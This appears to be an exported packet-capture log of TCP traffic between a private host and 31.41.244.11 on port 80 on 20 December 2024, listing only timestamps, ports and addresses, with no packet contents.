Dec 20, 2024 17:43:20.314547062 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.314574957 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.314609051 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.315649986 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.315694094 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.315854073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.315886974 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.316932917 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.316972017 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.317034960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.317070961 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.318036079 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.318074942 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.318116903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.318196058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.320195913 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.320246935 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.320302010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.320339918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.320596933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.320617914 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.320635080 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.320650101 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.321705103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.321743011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.321923971 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.321960926 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.322839975 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.322897911 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.322941065 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.322977066 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.324059963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.324101925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.324208975 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.324245930 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.325263023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.325304985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.325606108 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.325642109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.326481104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.326522112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.327471972 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.327513933 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.327620029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.327655077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.328497887 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.328537941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.328825951 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.328838110 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.328865051 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.328887939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.329957008 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.329996109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.330070019 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.330110073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.331226110 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.331264973 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.331413984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.331449986 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.332367897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.332401991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.333385944 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.333478928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.333616972 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.333628893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.333653927 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.333669901 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.335164070 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.335175991 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.335208893 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.335227966 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.336002111 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.336046934 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.336091995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.336132050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.337250948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.337295055 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.337796926 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.337831020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.338263988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.338304043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.467771053 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.467834949 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.467861891 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.467907906 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.468319893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.468359947 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.468439102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.468473911 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.469675064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.469716072 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.469799995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.469836950 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.470674992 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.470711946 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.470783949 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.470818996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.471865892 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.471908092 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.472208977 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.472245932 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.473263025 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.473303080 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.473385096 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.473419905 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.474329948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.474364996 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.474538088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.474575043 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.475441933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.475485086 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.475630045 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.475671053 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.476645947 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.476687908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.476839066 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.476874113 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.477905989 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.477943897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.477982998 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.478023052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.479032040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.479083061 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.479106903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.479145050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.480182886 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.480222940 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.480264902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.480305910 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.481436968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.481483936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.481755018 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.481802940 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.482655048 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.482692957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.482716084 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.482759953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.483836889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.483890057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.484026909 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.484069109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.484982014 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.485022068 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.485037088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.485070944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.486202002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.486241102 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.486284971 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.486326933 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.487370968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.487418890 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.487952948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.487987995 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.488585949 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.488626957 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.488815069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.488854885 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.489789009 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.489840031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.489923954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.489965916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.490931988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.490986109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.492208958 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.492230892 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.492258072 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.492255926 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.492275953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.492290020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.493365049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.493405104 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.493494987 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.493534088 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.494530916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.494573116 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.494666100 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.494702101 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.495731115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.495790958 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.495831013 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.495873928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.496917963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.496962070 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.497025013 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.497062922 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.498126984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.498171091 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.498228073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.498267889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.499305964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.499352932 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.499516010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.499557018 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.500493050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.500534058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.500807047 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.500844955 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.501653910 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.501692057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.501920938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.501970053 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.502839088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.502881050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.503036022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.503072977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.504101992 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.504141092 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.504223108 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.504259109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.505260944 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.505300999 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.506067038 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.506112099 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.506460905 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.506498098 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.506711960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.506784916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.507687092 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.507728100 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.507756948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.507796049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.508862972 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.508903027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.508984089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.509021044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.510004044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.510041952 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.510154963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.510195971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.511221886 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.511262894 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.511591911 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.511630058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.512553930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.512594938 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.512670040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.512706041 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.513583899 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.513622999 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.513704062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.513742924 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.514801025 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.514841080 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.514918089 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.514952898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.516035080 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.516089916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.516156912 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.516220093 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.517170906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.517215967 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.517519951 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.517558098 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.518424034 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.518462896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.518667936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.518703938 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.519697905 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.519742966 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.519891024 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.519931078 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.520761967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.520802021 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.520834923 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.520870924 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.522140026 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.522181988 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.522257090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.522294044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.523164988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.523207903 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.523376942 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.523416042 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.524327040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.524369955 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.524451017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.524487019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.525533915 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.525583029 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.526314974 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.526361942 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.526770115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.526813030 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.526905060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.526943922 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.527894020 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.527940035 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.528512955 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.528553963 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.529114008 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.529153109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.530309916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.530322075 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.530356884 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.530381918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.659637928 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.659821987 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.659945965 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.660222054 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.660280943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.660481930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.660528898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.660698891 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.660742998 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.661587954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.661633968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.661757946 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.661802053 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.662750006 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.662797928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.663192034 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.663238049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.663985968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.664031982 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.665285110 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.665518999 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.665572882 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.665843964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.665890932 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.666466951 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.666513920 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.666529894 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.666568041 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.667639017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.667757988 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.667804956 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.668728113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.668777943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.668862104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.668903112 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.670010090 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.670032024 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.670053005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.670078039 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.671159029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.671226025 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.671276093 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.672372103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.672420025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.672497034 CET	80	49732	31.41.244.11	192.168.2.6
